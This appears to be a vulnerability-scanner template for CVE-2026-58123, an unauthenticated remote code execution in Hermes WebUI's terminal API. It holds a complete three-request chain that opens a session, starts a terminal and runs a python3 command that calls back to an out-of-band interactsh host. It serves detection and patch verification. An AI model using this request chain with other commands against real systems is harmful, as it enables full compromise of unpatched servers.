Description
Hermes WebUI < 0.51.788 contains an unauthenticated remote code execution caused by improper access control in embedded terminal API endpoints, letting remote attackers execute arbitrary shell commands without credentials.
Hermes WebUI < 0.51.788 contains an unauthenticated remote code execution caused by improper access control in embedded terminal API endpoints, letting remote attackers execute arbitrary shell commands without credentials.
id: CVE-2026-58123
info:
name: Hermes WebUI < 0.51.788 - Remote Code Execution
author: str4k3r
severity: critical
description: |
Hermes WebUI < 0.51.788 contains an unauthenticated remote code execution caused by improper access control in embedded terminal API endpoints, letting remote attackers execute arbitrary shell commands without credentials.
impact: |
Remote attackers can execute arbitrary shell commands as the server process user, leading to full system compromise.
remediation: |
Update to version 0.51.788 or later.
reference:
- https://www.vulncheck.com/advisories/hermes-webui-unauthenticated-rce-via-terminal-api
- https://github.com/nesquena/hermes-webui/commit/d257e5f36cfa9328600c8bde6f0de09a6ad9b6f4
- https://github.com/nesquena/hermes-webui/releases/tag/v0.51.788
- https://nvd.nist.gov/vuln/detail/CVE-2026-58123
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-58123
epss-score: 0.04649
epss-percentile: 0.91263
cwe-id: CWE-306
metadata:
verified: true
max-request: 3
vendor: nesquena
product: hermes-webui
tags: cve,cve2026,hermes-webui,rce,terminal,unauth,oast
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /api/session/new HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{}
matchers:
- type: status
status:
- 200
internal: true
extractors:
- type: regex
name: session_id
part: body
group: 1
internal: true
regex:
- '"session_id"\s*:\s*"([a-f0-9]{12})"'
- raw:
- |
POST /api/terminal/start HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"session_id":"{{session_id}}"}
matchers:
- type: status
status:
- 200
internal: true
- raw:
- |
POST /api/terminal/input HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"session_id":"{{session_id}}","data":"python3 -c \"import socket; socket.gethostbyname('{{interactsh-url}}')\"\n"}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: status
status:
- 200
# digest: 4a0a00473045022100b1c5676df191eb62dde19064c215af16ffc55df29e2b361e9855f916f51276d5022042796ff28a3e6d0eba88c84faed27c52cf21cd0e5e9dabcea4b76e45ced8d44e:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.